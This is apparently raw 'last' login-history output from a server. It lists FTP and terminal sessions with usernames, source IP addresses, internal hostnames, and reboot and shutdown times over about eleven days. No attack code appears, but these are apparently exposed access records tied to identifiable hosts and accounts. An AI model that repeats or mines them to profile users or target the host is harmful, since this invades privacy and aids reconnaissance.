spaiznuke        ftp      192.117.97.6     Thu Oct 21 15:20 - 15:37  (00:17)
forest           ftp      81.218.90.84     Thu Oct 21 15:19 - 15:32  (00:13)
forest           ftp      81.218.90.84     Thu Oct 21 15:18 - 15:19  (00:00)
xboxland         ftp      217.10.45.28     Thu Oct 21 15:15 - 15:23  (00:07)
prohack          ftp      62.76.229.84     Thu Oct 21 15:15 - 15:34  (00:18)
aaa              ftp      62.65.206.27     Thu Oct 21 15:12 - 15:14  (00:02)
prohack          ftp      62.76.229.84     Thu Oct 21 15:10 - 15:15  (00:04)
upsaitb          ftp      62.148.157.239   Thu Oct 21 15:08 - 15:27  (00:18)
russ             ftp      213.242.243.168  Thu Oct 21 15:03 - 15:03  (00:00)
forest           ftp      81.218.74.25     Thu Oct 21 14:54 - 15:09  (00:15)
odyssey          ftp      83.136.241.18    Thu Oct 21 14:47 - 15:12  (00:24)
lefthand         ftp      64.182.1.198     Thu Oct 21 14:17 - 14:20  (00:02)
yourtrad         ftp      195.209.228.141  Thu Oct 21 14:16 - 14:21  (00:04)
lefthand         ftp      64.182.1.198     Thu Oct 21 14:14 - 14:17  (00:02)
story            ftp      80.235.127.254   Thu Oct 21 14:11 - 14:37  (00:25)
lefthand         ftp      194.226.242.85   Thu Oct 21 14:08 - 14:14  (00:06)
lefthand         ftp      194.226.242.85   Thu Oct 21 14:05 - 14:14  (00:08)
lefthand         ftp      64.182.1.198     Thu Oct 21 14:04 - 14:16  (00:12)
story            ftp      80.235.127.254   Thu Oct 21 14:04 - 14:07  (00:02)
bk               ftp      217.159.171.34   Thu Oct 21 14:01 - 14:01  (00:00)
bk               ftp      217.159.171.34   Thu Oct 21 14:01 - 14:11  (00:10)
zlg              ftp      194.186.32.64    Thu Oct 21 13:55 - 14:12  (00:16)
lefthand         ftp      194.226.242.85   Thu Oct 21 13:47 - 14:02  (00:14)
xlprocessor      ftp      217.159.132.27   Thu Oct 21 13:33 - 13:44  (00:11)
nimble           ftp      213.130.7.55     Thu Oct 21 13:31 - 13:46  (00:15)
lefthand         ftp      194.226.242.85   Thu Oct 21 13:22 - 13:37  (00:14)
admin            ttyp4    mahaon.ints.net  Thu Oct 21 13:22 - 15:45  (02:23)
lefthand         ftp      194.226.242.85   Thu Oct 21 13:21 - 14:03  (00:41)
median           ftp      83.237.28.195    Thu Oct 21 13:07 - 13:09  (00:01)
xlprocessor      ftp      217.159.132.27   Thu Oct 21 12:55 - 13:07  (00:12)
xlprocessor      ftp      217.159.132.27   Thu Oct 21 12:53 - 12:55  (00:01)
soc              ftp      82.131.30.153    Thu Oct 21 12:51 - 13:06  (00:14)
xlprocessor      ftp      217.159.132.27   Thu Oct 21 12:51 - 12:52  (00:00)
processor        ftp      217.159.132.27   Thu Oct 21 12:51 - 12:51  (00:00)
processor        ftp      217.159.132.27   Thu Oct 21 12:49 - 12:49  (00:00)
rafasoft         ftp      216.236.117.139  Thu Oct 21 12:48 - 13:02  (00:13)
xlprocessor      ftp      217.159.132.27   Thu Oct 21 12:48 - 12:49  (00:00)
ravolink         ftp      82.131.4.167     Thu Oct 21 12:47 - 13:11  (00:24)
ibris            ftp      195.5.144.51     Thu Oct 21 12:44 - 13:00  (00:15)
ravolink         ftp      82.131.4.167     Thu Oct 21 12:44 - 12:46  (00:02)
forest           ftp      81.218.74.25     Thu Oct 21 12:33 - 12:56  (00:22)
flooder          ftp      195.39.210.230   Thu Oct 21 12:32 - 12:35  (00:02)
flooder          ftp      195.39.210.230   Thu Oct 21 12:31 - 12:32  (00:00)
flooder          ftp      195.39.210.230   Thu Oct 21 12:28 - 12:31  (00:03)
forest           ftp      81.218.74.25     Thu Oct 21 12:24 - 12:34  (00:10)
ravolink         ftp      82.131.4.167     Thu Oct 21 12:21 - 12:43  (00:21)
progzn           ftp      81.176.95.82     Thu Oct 21 12:20 - 12:36  (00:15)
lefthand         ftp      64.182.1.198     Thu Oct 21 12:17 - 12:17  (00:00)
vismadec         ftp      80.235.127.254   Thu Oct 21 12:15 - 12:15  (00:00)
tulksco          ftp      217.199.109.35   Thu Oct 21 12:12 - 12:12  (00:00)
tulksco          ftp      217.199.109.35   Thu Oct 21 12:11 - 12:12  (00:00)
ravolink         ftp      82.131.4.167     Thu Oct 21 12:08 - 12:18  (00:10)
median           ftp      83.237.28.208    Thu Oct 21 11:55 - 12:15  (00:20)
pensiote         ftp      195.151.254.245  Thu Oct 21 11:37 - 11:47  (00:10)
[email protected]  ftp      83.136.241.18    Thu Oct 21 11:31 - 11:31  (00:00)
tulksco          ftp      217.199.109.35   Thu Oct 21 11:27 - 11:28  (00:00)
tulksco          ftp      217.199.109.35   Thu Oct 21 11:27 - 11:28  (00:00)
forest           ftp      81.218.74.25     Thu Oct 21 11:27 - 11:38  (00:11)
gdp              ftp      194.44.58.68     Thu Oct 21 11:25 - 11:25  (00:00)
odyssey          ftp      83.136.241.18    Thu Oct 21 11:13 - 11:31  (00:17)
flooder          ftp      195.39.210.230   Thu Oct 21 11:01 - 11:06  (00:04)
ravolink         ftp      82.131.4.167     Thu Oct 21 10:43 - 10:58  (00:15)
tulksco          ftp      217.199.109.35   Thu Oct 21 10:40 - 10:46  (00:05)
progzn           ftp      81.176.95.82     Thu Oct 21 10:37 - 10:47  (00:10)
top1             ftp      80.235.56.77     Thu Oct 21 10:35 - 10:45  (00:10)
tulksco          ftp      217.199.109.35   Thu Oct 21 10:33 - 10:33  (00:00)
progzn           ftp      217.107.6.85     Thu Oct 21 10:30 - 10:30  (00:00)
tulksco          ftp      217.199.109.35   Thu Oct 21 10:29 - 10:30  (00:00)
gdp              ttyp2    62.65.252.61     Thu Oct 21 10:20   still logged in
xboxland         ftp      217.10.45.28     Thu Oct 21 10:07 - 10:09  (00:01)
progzn           ftp      217.107.6.85     Thu Oct 21 10:02 - 10:29  (00:27)
progzn           ftp      81.176.95.82     Thu Oct 21 09:58 - 10:09  (00:11)
top1             ftp      80.235.56.77     Thu Oct 21 09:51 - 10:06  (00:15)
sghi             ftp      217.174.98.26    Thu Oct 21 09:41 - 09:44  (00:02)
rafasoft         ftp      216.236.117.139  Thu Oct 21 09:24 - 09:27  (00:03)
spartak@sslproj  ftp      217.107.21.105   Thu Oct 21 09:20 - 09:23  (00:02)
admin            ttyp0    82.131.4.167     Thu Oct 21 09:18 - 16:14  (06:56)
spartak@sslproj  ftp      217.107.21.105   Thu Oct 21 09:17 - 09:27  (00:10)
rafasoft         ftp      216.236.117.139  Thu Oct 21 08:54 - 08:56  (00:01)
wh               ftp      212.15.118.123   Thu Oct 21 08:39 - 08:39  (00:00)
prohack          ftp      62.76.229.14     Thu Oct 21 08:21 - 09:07  (00:46)
tulksco          ftp      217.199.109.35   Thu Oct 21 07:25 - 07:31  (00:06)
zport            ftp      81.3.153.65      Thu Oct 21 07:13 - 07:34  (00:20)
tulksco          ftp      217.199.109.35   Thu Oct 21 06:39 - 06:40  (00:00)
progzn           ftp      81.176.95.82     Thu Oct 21 04:37 - 04:48  (00:10)
zport            ftp      81.3.154.123     Thu Oct 21 04:08 - 04:33  (00:24)
takaja           ftp      194.204.29.7     Thu Oct 21 03:49 - 03:59  (00:09)
median           ftp      83.237.28.21     Thu Oct 21 03:34 - 03:35  (00:00)
zport            ftp      81.3.154.123     Thu Oct 21 02:28 - 02:29  (00:00)
zlg              ftp      194.186.32.70    Thu Oct 21 02:21 - 02:33  (00:11)
zport            ftp      81.3.154.123     Thu Oct 21 02:15 - 02:16  (00:00)
secureb          ftp      62.118.143.225   Thu Oct 21 02:10 - 02:27  (00:16)
oeforum          ftp      212.7.28.220     Thu Oct 21 01:31 - 01:40  (00:08)
median           ftp      83.237.28.25     Thu Oct 21 01:28 - 01:39  (00:11)
oeforum          ftp      212.7.28.220     Thu Oct 21 01:10 - 01:20  (00:10)
detej            ftp      217.159.171.106  Thu Oct 21 01:01 - 01:01  (00:00)
median           ftp      83.237.28.171    Thu Oct 21 00:44 - 01:01  (00:17)
zport            ftp      81.3.154.123     Thu Oct 21 00:37 - 02:04  (01:27)
tdz              ftp      195.158.178.136  Thu Oct 21 00:35 - 00:42  (00:07)
oeforum          ftp      212.7.28.220     Thu Oct 21 00:30 - 00:40  (00:10)
median           ftp      83.237.28.171    Thu Oct 21 00:25 - 00:32  (00:06)
detej            ftp      217.159.171.106  Thu Oct 21 00:24 - 00:24  (00:00)
median           ftp      83.237.28.171    Thu Oct 21 00:15 - 00:16  (00:00)
tdz              ftp      195.158.178.136  Thu Oct 21 00:04 - 00:06  (00:01)
oeforum          ftp      212.7.28.220     Thu Oct 21 00:02 - 00:02  (00:00)
median           ftp      83.237.28.171    Wed Oct 20 23:59 - 00:06  (00:06)
forum@estfootba  ftp      194.106.127.118  Wed Oct 20 23:59 - 00:02  (00:03)
tdz              ftp      195.158.178.136  Wed Oct 20 23:53 - 00:00  (00:07)
stive            ftp      212.58.195.164   Wed Oct 20 23:51 - 23:52  (00:01)
median           ftp      83.237.28.171    Wed Oct 20 23:48 - 23:57  (00:08)
stive            ftp      212.58.195.164   Wed Oct 20 23:43 - 23:46  (00:02)
webhack          ftp      212.7.18.157     Wed Oct 20 23:37 - 23:38  (00:01)
spaiznuke        ftp      192.117.97.6     Wed Oct 20 23:21 - 23:24  (00:02)
tallif           ftp      213.219.88.30    Wed Oct 20 23:20 - 23:23  (00:02)
webhack          ftp      212.7.18.157     Wed Oct 20 23:16 - 23:16  (00:00)
median           ftp      83.237.28.171    Wed Oct 20 23:11 - 23:29  (00:17)
stive            ftp      212.58.195.164   Wed Oct 20 22:58 - 23:07  (00:08)
teleman          ftp      193.26.13.2      Wed Oct 20 22:56 - 23:10  (00:13)
stive            ftp      212.58.195.164   Wed Oct 20 22:55 - 23:07  (00:11)
teleman          ftp      193.26.13.2      Wed Oct 20 22:54 - 22:54  (00:00)
stive            ftp      212.58.195.164   Wed Oct 20 22:47 - 22:55  (00:07)
bk               ftp      217.159.171.34   Wed Oct 20 22:44 - 22:44  (00:00)
bk               ftp      217.159.171.34   Wed Oct 20 22:44 - 22:44  (00:00)
[email protected]  ftp      217.159.171.194  Wed Oct 20 22:39 - 22:39  (00:00)
stive            ftp      212.58.195.164   Wed Oct 20 22:37 - 22:39  (00:02)
warez@trillian.  ftp      195.131.125.243  Wed Oct 20 22:34 - 22:38  (00:03)
stive            ftp      212.58.195.164   Wed Oct 20 22:33 - 22:37  (00:03)
anonymous@sslpr  ftp      195.131.84.202   Wed Oct 20 22:32 - 22:32  (00:00)
stive            ftp      212.58.195.164   Wed Oct 20 22:32 - 22:38  (00:06)
median           ftp      83.237.28.218    Wed Oct 20 22:31 - 22:46  (00:14)
novo_logs        ftp      217.172.21.35    Wed Oct 20 22:30 - 22:31  (00:01)
stive            ftp      212.58.195.164   Wed Oct 20 22:29 - 22:33  (00:03)
novo_logs        ftp      217.172.21.35    Wed Oct 20 22:27 - 22:30  (00:02)
albalt           ftp      217.159.170.70   Wed Oct 20 22:17 - 22:28  (00:10)
forum@estfootba  ftp      194.106.127.118  Wed Oct 20 22:17 - 22:19  (00:01)
tulksco          ftp      217.199.109.35   Wed Oct 20 22:12 - 22:18  (00:05)
stive            ftp      212.58.195.164   Wed Oct 20 22:11 - 22:48  (00:36)
tulksco          ftp      217.199.109.35   Wed Oct 20 22:10 - 22:13  (00:03)
stive            ftp      212.58.195.164   Wed Oct 20 22:07 - 22:11  (00:03)
albalt           ftp      217.159.170.70   Wed Oct 20 22:07 - 22:16  (00:09)
stive            ftp      212.58.195.164   Wed Oct 20 22:05 - 22:07  (00:02)
bk               ftp      217.159.171.34   Wed Oct 20 22:04 - 22:04  (00:00)
yourtrad         ftp      195.209.228.245  Wed Oct 20 22:00 - 22:12  (00:11)
spaiznuke        ftp      192.117.97.6     Wed Oct 20 21:59 - 21:59  (00:00)
forum@estfootba  ftp      194.106.127.118  Wed Oct 20 21:57 - 22:05  (00:07)
russ             ftp      213.242.243.168  Wed Oct 20 21:56 - 21:56  (00:00)
stive            ftp      212.58.195.164   Wed Oct 20 21:56 - 21:56  (00:00)
russ             ftp      213.242.243.168  Wed Oct 20 21:55 - 21:57  (00:01)
stive            ftp      64.191.80.245    Wed Oct 20 21:54 - 21:54  (00:00)
russ             ftp      194.226.242.85   Wed Oct 20 21:54 - 21:54  (00:00)
stive            ftp      64.191.80.245    Wed Oct 20 21:54 - 21:54  (00:00)
flooder          ftp      80.235.60.202    Wed Oct 20 21:41 - 21:43  (00:01)
stive            ftp      64.191.80.245    Wed Oct 20 21:41 - 21:41  (00:00)
stive            ftp      80.179.51.128    Wed Oct 20 21:37 - 22:35  (00:58)
median           ftp      83.237.28.164    Wed Oct 20 21:35 - 21:49  (00:14)
stive            ftp      212.58.195.164   Wed Oct 20 21:28 - 21:47  (00:18)
stive            ftp      212.58.195.164   Wed Oct 20 21:12 - 21:28  (00:16)
forumlif         ftp      194.204.37.86    Wed Oct 20 21:11 - 21:28  (00:16)
median           ftp      83.237.28.129    Wed Oct 20 21:07 - 21:20  (00:12)
stive            ftp      212.58.195.164   Wed Oct 20 21:06 - 21:11  (00:04)
forest           ftp      212.179.230.17   Wed Oct 20 21:05 - 21:05  (00:00)
stive            ftp      212.58.195.164   Wed Oct 20 21:03 - 21:06  (00:03)
median           ftp      83.237.28.129    Wed Oct 20 21:03 - 21:08  (00:05)
stive            ftp      212.58.195.164   Wed Oct 20 21:00 - 21:11  (00:11)
median           ftp      83.237.28.129    Wed Oct 20 20:59 - 21:04  (00:05)
anonymous@sslpr  ftp      80.78.105.234    Wed Oct 20 20:56 - 20:57  (00:00)
stive            ftp      212.58.195.164   Wed Oct 20 20:56 - 21:03  (00:06)
softovik         ftp      195.239.4.172    Wed Oct 20 20:53 - 20:54  (00:01)
spartak@sslproj  ftp      213.140.107.25   Wed Oct 20 20:48 - 20:49  (00:01)
median           ftp      83.237.28.129    Wed Oct 20 20:45 - 21:00  (00:14)
novo_logs        ftp      217.172.21.35    Wed Oct 20 20:40 - 21:29  (00:49)
novo             ftp      217.172.21.35    Wed Oct 20 20:38 - 21:19  (00:40)
stive            ftp      212.58.195.164   Wed Oct 20 20:30 - 20:30  (00:00)
novo_logs        ftp      217.172.21.35    Wed Oct 20 20:25 - 20:25  (00:00)
stive            ftp      212.58.195.164   Wed Oct 20 20:23 - 20:25  (00:02)
stive            ftp      212.58.195.164   Wed Oct 20 20:21 - 20:25  (00:03)
tdz              ftp      195.158.178.136  Wed Oct 20 20:15 - 20:22  (00:07)
stive            ftp      212.58.195.164   Wed Oct 20 20:14 - 20:25  (00:11)
tdz              ftp      195.158.178.136  Wed Oct 20 20:13 - 20:15  (00:02)
albalt           ftp      217.159.170.70   Wed Oct 20 20:10 - 20:12  (00:02)
zlg              ftp      194.186.32.60    Wed Oct 20 20:09 - 20:21  (00:12)
median           ftp      83.237.204.110   Wed Oct 20 20:07 - 20:08  (00:00)
gdp              ttyp1    62.65.252.61     Wed Oct 20 20:06 - 10:20  (14:13)
albalt           ftp      217.159.170.70   Wed Oct 20 20:06 - 20:32  (00:26)
[email protected]  ftp      80.191.226.82    Wed Oct 20 20:03 - 20:04  (00:00)
albalt           ftp      217.159.170.70   Wed Oct 20 20:03 - 20:03  (00:00)
[email protected]  ftp      82.207.27.215    Wed Oct 20 19:57 - 20:07  (00:10)
[email protected]  ftp      80.191.226.31    Wed Oct 20 19:55 - 20:05  (00:10)
detej            ftp      217.159.173.206  Wed Oct 20 19:48 - 20:08  (00:20)
russ             ftp      194.226.242.85   Wed Oct 20 19:45 - 20:08  (00:22)
nimble           ftp      213.130.7.32     Wed Oct 20 19:43 - 20:03  (00:19)
xplorer          ftp      83.237.51.98     Wed Oct 20 19:42 - 19:43  (00:00)
nimble           ftp      213.130.7.32     Wed Oct 20 19:41 - 19:43  (00:01)
median           ftp      83.237.204.110   Wed Oct 20 19:41 - 19:48  (00:07)
nimble           ftp      213.130.7.32     Wed Oct 20 19:37 - 19:38  (00:00)
nimble           ftp      213.130.7.32     Wed Oct 20 19:36 - 19:36  (00:00)
median           ftp      83.237.204.110   Wed Oct 20 19:35 - 19:40  (00:05)
flooder          ftp      195.39.210.230   Wed Oct 20 19:28 - 19:29  (00:01)
nimble           ftp      213.130.7.32     Wed Oct 20 19:28 - 19:35  (00:07)
flooder          ftp      195.39.210.230   Wed Oct 20 19:27 - 19:30  (00:02)
forest           ftp      212.179.230.17   Wed Oct 20 19:23 - 19:26  (00:03)
detej            ftp      217.159.173.206  Wed Oct 20 19:19 - 19:28  (00:09)
flooder          ftp      195.39.210.224   Wed Oct 20 19:10 - 19:11  (00:00)
median           ftp      83.237.28.122    Wed Oct 20 19:05 - 19:12  (00:06)
skynet           ftp      213.130.23.245   Wed Oct 20 19:05 - 19:05  (00:00)
median           ftp      83.237.28.122    Wed Oct 20 18:59 - 19:04  (00:04)
nimble           ftp      213.130.7.32     Wed Oct 20 18:53 - 19:13  (00:19)
median           ftp      83.237.28.122    Wed Oct 20 18:26 - 18:27  (00:01)
[email protected]  ftp      82.207.31.16     Wed Oct 20 18:10 - 18:25  (00:15)
nimble           ftp      213.130.7.32     Wed Oct 20 18:08 - 18:09  (00:00)
median           ftp      83.237.28.122    Wed Oct 20 17:59 - 18:05  (00:05)
balticsclan      ftp      217.159.173.198  Wed Oct 20 17:46 - 17:52  (00:06)
skynet           ftp      213.130.23.218   Wed Oct 20 17:34 - 17:49  (00:15)
median           ftp      83.237.28.122    Wed Oct 20 17:30 - 17:35  (00:05)
upsaitb          ftp      62.148.157.135   Wed Oct 20 17:23 - 17:31  (00:08)
eow              ftp      195.62.129.5     Wed Oct 20 17:20 - 17:20  (00:00)
flooder          ftp      195.39.210.224   Wed Oct 20 17:19 - 17:19  (00:00)
prohack          ftp      62.76.229.11     Wed Oct 20 17:18 - 17:27  (00:08)
flooder          ftp      195.39.210.224   Wed Oct 20 17:15 - 17:16  (00:00)
prohack          ftp      62.76.229.11     Wed Oct 20 17:14 - 17:22  (00:08)
skynet           ftp      213.130.23.218   Wed Oct 20 17:12 - 17:16  (00:03)
bk               ftp      217.159.171.34   Wed Oct 20 17:05 - 17:05  (00:00)
bk               ftp      217.159.171.34   Wed Oct 20 17:05 - 17:05  (00:00)
ravolink         ftp      213.35.209.11    Wed Oct 20 17:05 - 17:05  (00:00)
skynet           ftp      213.130.23.218   Wed Oct 20 17:04 - 17:23  (00:19)
flooder          ftp      195.39.210.224   Wed Oct 20 17:03 - 17:13  (00:10)
tetatet          ftp      193.110.73.84    Wed Oct 20 16:56 - 18:10  (01:13)
median           ftp      83.237.28.23     Wed Oct 20 16:55 - 16:58  (00:02)
forest           ftp      212.179.230.17   Wed Oct 20 16:55 - 16:55  (00:00)
yourtrad         ftp      195.209.228.230  Wed Oct 20 16:55 - 16:55  (00:00)
flooder          ftp      80.235.60.202    Wed Oct 20 16:52 - 16:55  (00:03)
russ             ftp      213.242.243.168  Wed Oct 20 16:51 - 16:52  (00:01)
yourtrad         ftp      195.209.228.230  Wed Oct 20 16:50 - 16:51  (00:00)
russ             ftp      213.242.243.168  Wed Oct 20 16:50 - 16:52  (00:01)
flooder          ftp      195.39.210.224   Wed Oct 20 16:49 - 16:50  (00:00)
antonu           ftp      195.250.172.45   Wed Oct 20 16:46 - 16:47  (00:01)
alexclk          ftp      217.224.243.52   Wed Oct 20 16:42 - 16:42  (00:00)
flooder          ftp      80.235.60.202    Wed Oct 20 16:41 - 16:44  (00:02)
median           ftp      83.237.28.163    Wed Oct 20 16:27 - 16:38  (00:11)
bk               ftp      217.159.171.34   Wed Oct 20 16:25 - 16:25  (00:00)
tetatet          ftp      193.110.73.84    Wed Oct 20 16:23 - 16:51  (00:28)
bk               ftp      217.159.171.34   Wed Oct 20 16:23 - 16:23  (00:00)
[email protected]  ftp      82.207.23.76     Wed Oct 20 16:22 - 16:23  (00:00)
bk               ftp      217.159.171.34   Wed Oct 20 16:20 - 16:20  (00:00)
tetatet          ftp      193.110.73.84    Wed Oct 20 16:19 - 16:30  (00:11)
bk               ftp      217.159.171.34   Wed Oct 20 16:18 - 16:18  (00:00)
alexclk          ftp      217.224.243.52   Wed Oct 20 16:18 - 16:18  (00:00)
bk               ftp      217.159.171.34   Wed Oct 20 16:17 - 16:18  (00:00)
skynet           ftp      213.130.23.218   Wed Oct 20 16:17 - 16:17  (00:00)
bk               ftp      217.159.171.34   Wed Oct 20 16:17 - 16:35  (00:18)
flooder          ftp      195.39.210.224   Wed Oct 20 16:16 - 16:23  (00:06)
gdpbalt          ftp      62.65.252.61     Wed Oct 20 16:07 - 16:08  (00:01)
sghi             ftp      217.174.98.26    Wed Oct 20 16:05 - 16:06  (00:00)
skynet           ftp      213.130.23.218   Wed Oct 20 15:57 - 16:14  (00:16)
skynet           ftp      213.130.23.218   Wed Oct 20 15:57 - 15:57  (00:00)
antonu           ftp      195.250.172.45   Wed Oct 20 15:54 - 15:55  (00:01)
median           ftp      81.195.5.9       Wed Oct 20 15:54 - 15:54  (00:00)
forest           ftp      212.179.230.17   Wed Oct 20 15:49 - 15:49  (00:00)
tetatet          ftp      193.110.73.84    Wed Oct 20 15:47 - 15:49  (00:02)
antonu           ftp      195.250.172.45   Wed Oct 20 15:43 - 15:43  (00:00)
median           ftp      81.195.5.9       Wed Oct 20 15:38 - 15:50  (00:12)
median           ftp      81.195.5.9       Wed Oct 20 15:32 - 15:38  (00:05)
median           ftp      81.195.5.9       Wed Oct 20 15:30 - 15:32  (00:02)
forest           ftp      212.179.230.17   Wed Oct 20 15:29 - 15:30  (00:01)
skynet           ftp      213.130.20.152   Wed Oct 20 15:26 - 15:28  (00:01)
median           ftp      81.195.5.9       Wed Oct 20 15:26 - 15:31  (00:04)
forest           ftp      212.179.230.17   Wed Oct 20 15:25 - 15:26  (00:00)
skynet           ftp      213.130.20.152   Wed Oct 20 15:25 - 15:26  (00:00)
gdpbalt          ftp      127.0.0.1        Wed Oct 20 15:24 - 15:24  (00:00)
gdp              ftp      127.0.0.1        Wed Oct 20 15:20 - 15:21  (00:00)
gdp              ftp      127.0.0.1        Wed Oct 20 15:13 - 15:13  (00:00)
admin            ftp      82.131.4.167     Wed Oct 20 14:59 - 15:03  (00:04)
gdp              ttyp2    62.65.252.61     Wed Oct 20 14:53 - 10:20  (19:26)
gdp              ttyp4    62.65.252.61     Wed Oct 20 14:53 - 10:16  (19:23)
gdp              ttyp1    leda.ints.net    Wed Oct 20 14:51 - 20:05  (05:14)
gdp              ttyp2    leda.ints.net    Wed Oct 20 14:21 - 14:53  (00:32)
gdp              ttyp1    leda.ints.net    Wed Oct 20 14:19 - 14:50  (00:30)
admin            ttyp0    82.131.4.167     Wed Oct 20 14:18 - 00:31  (10:12)
reboot           ~                         Wed Oct 20 14:17
shutdown         ~                         Wed Oct 20 14:09
root             ttyv0                     Wed Oct 20 14:09 - shutdown  (00:00)
reboot           ~                         Wed Oct 20 14:08
shutdown         ~                         Wed Oct 20 13:48
root             ttyv0                     Wed Oct 20 13:44 - shutdown  (00:03)
admin            ftp      82.131.4.167     Wed Oct 20 11:59 - 12:01  (00:01)
gdp              ftp      leda.ints.net    Wed Oct 20 11:52 - 11:52  (00:00)
admin            ttyp3    82.131.4.167     Wed Oct 20 11:36 - shutdown  (02:12)
admin            ftp      127.0.0.1        Wed Oct 20 11:34 - 11:34  (00:00)
gdp              ftp      62.65.252.61     Wed Oct 20 01:23 - 01:23  (00:00)
gdp              ttyp2    leda.ints.net    Tue Oct 19 23:41 - 13:03  (13:22)
gdp              ttyp2    leda.ints.net    Tue Oct 19 23:40 - 23:40  (00:00)
gdp              ttyp2    leda.ints.net    Tue Oct 19 23:07 - 23:40  (00:32)
gdp              ttyp2    leda.ints.net    Tue Oct 19 23:07 - 23:07  (00:00)
gdp              ttyp0    leda.ints.net    Tue Oct 19 23:00 - shutdown  (14:47)
gdp              ttyp2    leda.ints.net    Tue Oct 19 22:51 - 23:07  (00:16)
gdp              ttyp2    leda.ints.net    Tue Oct 19 22:49 - 22:49  (00:00)
admin            ttyp2    leda.ints.net    Tue Oct 19 22:47 - 22:48  (00:01)
gdp              ttyp1    leda.ints.net    Tue Oct 19 22:26 - shutdown  (15:21)
gdp              ftp      leda.ints.net    Tue Oct 19 21:43 - 21:51  (00:07)
admin            ttyp1    82.131.4.167     Tue Oct 19 20:33 - 21:41  (01:08)
gdp              ttyp0    194.44.58.68     Tue Oct 19 19:41 - 23:00  (03:19)
reboot           ~                         Tue Oct 19 19:41
shutdown         ~                         Tue Oct 19 19:38
gdp              ftp      leda.ints.net    Tue Oct 19 19:34 - 19:36  (00:01)
gdp              ftp      127.0.0.1        Tue Oct 19 19:34 - 19:34  (00:00)
gdp              ttyp0    leda.ints.net    Tue Oct 19 19:16 - shutdown  (00:22)
gdp              ttyp0    leda.ints.net    Tue Oct 19 19:15 - 19:15  (00:00)
root             ttyv0                     Tue Oct 19 19:15 - 19:16  (00:01)
reboot           ~                         Tue Oct 19 19:14
shutdown         ~                         Tue Oct 19 19:11
root             ttyv0                     Tue Oct 19 19:10 - shutdown  (00:01)
reboot           ~                         Tue Oct 19 19:08
shutdown         ~                         Tue Oct 19 18:28
reboot           ~                         Tue Oct 19 18:05
shutdown         ~                         Tue Oct 19 13:36
gdp              ttyp0    sv42.starman.ee  Tue Oct 19 13:36 - shutdown  (00:00)
admin            ttyp5    82.131.4.167     Tue Oct 19 13:27 - 13:35  (00:08)
gdp              ttyp4    leda.ints.net    Tue Oct 19 13:07 - shutdown  (00:29)
admin            ttyp1    82.131.4.167     Tue Oct 19 09:35 - 12:41  (03:05)
admin            ttyp1    82.131.4.167     Mon Oct 18 09:32 - 00:30  (14:58)
admin            ttyp1    82.131.4.167     Sun Oct 17 11:11 - 23:27  (12:16)
admin            ttyp1    82.131.4.167     Sun Oct 17 00:07 - 02:07  (01:59)
admin            ttyp1    82.131.4.167     Sat Oct 16 11:38 - 22:36  (10:58)
admin            ttyp3    mahaon.ints.net  Fri Oct 15 11:45 - 16:24  (04:38)
admin            ttyp1    82.131.4.167     Fri Oct 15 09:39 - 01:55  (16:16)
admin            ttyp1    82.131.4.167     Thu Oct 14 19:50 - 01:02  (05:12)
admin            ttyp1    82.131.4.167     Thu Oct 14 15:55 - 19:39  (03:44)
admin            ttyp1    82.131.4.167     Thu Oct 14 13:48 - 15:40  (01:52)
admin            ttyp3    mahaon.ints.net  Thu Oct 14 09:52 - 10:32 (1+00:40)
admin            ttyp1    82.131.4.167     Thu Oct 14 08:54 - 12:05  (03:10)
gdp              ttyp0    sv42.starman.ee  Wed Oct 13 11:19 - 13:36 (6+02:16)
admin            ttyp6    mahaon.ints.net  Wed Oct 13 11:11 - 21:41  (10:30)
gdp              ttyp7    leda.ints.net    Wed Oct 13 11:09 - 11:09  (00:00)
gdp              ttyp3    sv42.starman.ee  Wed Oct 13 10:19 - 11:10  (00:50)
gdp              ttyp3    leda.ints.net    Wed Oct 13 10:19 - 10:19  (00:00)
gdp              ttyp2    sv42.starman.ee  Wed Oct 13 10:10 - 11:20  (01:09)
admin            ttyp1    82.131.4.167     Wed Oct 13 09:58 - 00:08  (14:10)
gdp              ttyp0    sv42.starman.ee  Wed Oct 13 09:58 - 11:19  (01:20)
reboot           ~                         Wed Oct 13 09:58
shutdown         ~                         Wed Oct 13 09:53
admin            ttyp0    82.131.4.167     Wed Oct 13 08:04 - shutdown  (01:49)
admin            ttyp0    82.131.4.167     Tue Oct 12 18:19 - 03:26  (09:06)
gdp              ttyp2    sv42.starman.ee  Tue Oct 12 14:27 - shutdown  (19:26)
admin            ttyp0    82.131.4.167     Tue Oct 12 14:23 - 18:14  (03:51)
reboot           ~                         Tue Oct 12 14:23
shutdown         ~                         Tue Oct 12 14:20
gdp              ttyp0    sv42.starman.ee  Tue Oct 12 12:48 - 13:07  (00:18)
reboot           ~                         Tue Oct 12 12:48
shutdown         ~                         Tue Oct 12 12:44
gdp              ttyp2    sv42.starman.ee  Tue Oct 12 12:37 - 12:37  (00:00)
gdp              ttyp3    sv42.starman.ee  Tue Oct 12 12:30 - shutdown  (00:13)
gdp              ttyp5    212.7.8.155      Tue Oct 12 12:25 - 12:26  (00:00)
gdp              ttyp4    212.7.8.155      Tue Oct 12 12:24 - 12:24  (00:00)
gdp              ttyp3    sv42.starman.ee  Tue Oct 12 12:23 - 12:30  (00:06)
admin            ttyp0    82.131.4.167     Tue Oct 12 12:21 - shutdown  (00:22)
reboot           ~                         Tue Oct 12 12:21
shutdown         ~                         Tue Oct 12 12:17
gdp              ttyp3    sv42.starman.ee  Tue Oct 12 12:09 - shutdown  (00:08)
root             ttyv0                     Tue Oct 12 11:55 - 12:16  (00:21)
reboot           ~                         Tue Oct 12 11:47
shutdown         ~                         Tue Oct 12 11:44
reboot           ~                         Tue Oct 12 11:43
shutdown         ~                         Tue Oct 12 11:40
reboot           ~                         Tue Oct 12 11:26
shutdown         ~                         Tue Oct 12 10:49
admin            ttyp4    mahaon.ints.net  Tue Oct 12 09:18 - shutdown  (01:31)
admin            ttyp3    82.131.4.167     Tue Oct 12 08:49 - shutdown  (02:00)
admin            ttyp3    82.131.4.167     Mon Oct 11 18:15 - 23:44  (05:29)
admin            ttyp4    mahaon.ints.net  Mon Oct 11 14:31 - 09:08  (18:37)
admin            ttyp3    mahaon.ints.net  Mon Oct 11 12:22 - 13:58  (01:36)
admin            ttyp6    82.131.4.167     Mon Oct 11 10:35 - 18:09  (07:33)
admin            ttyp5    mahaon.ints.net  Mon Oct 11 10:14 - 11:28  (01:14)
admin            ttyp0    82.131.4.167     Mon Oct 11 08:57 - 10:35  (01:38)
admin            ttyp0    82.131.4.167     Sun Oct 10 14:49 - 01:12  (10:23)
admin            ttyp0    82.131.4.167     Sun Oct 10 12:39 - 13:55  (01:15)
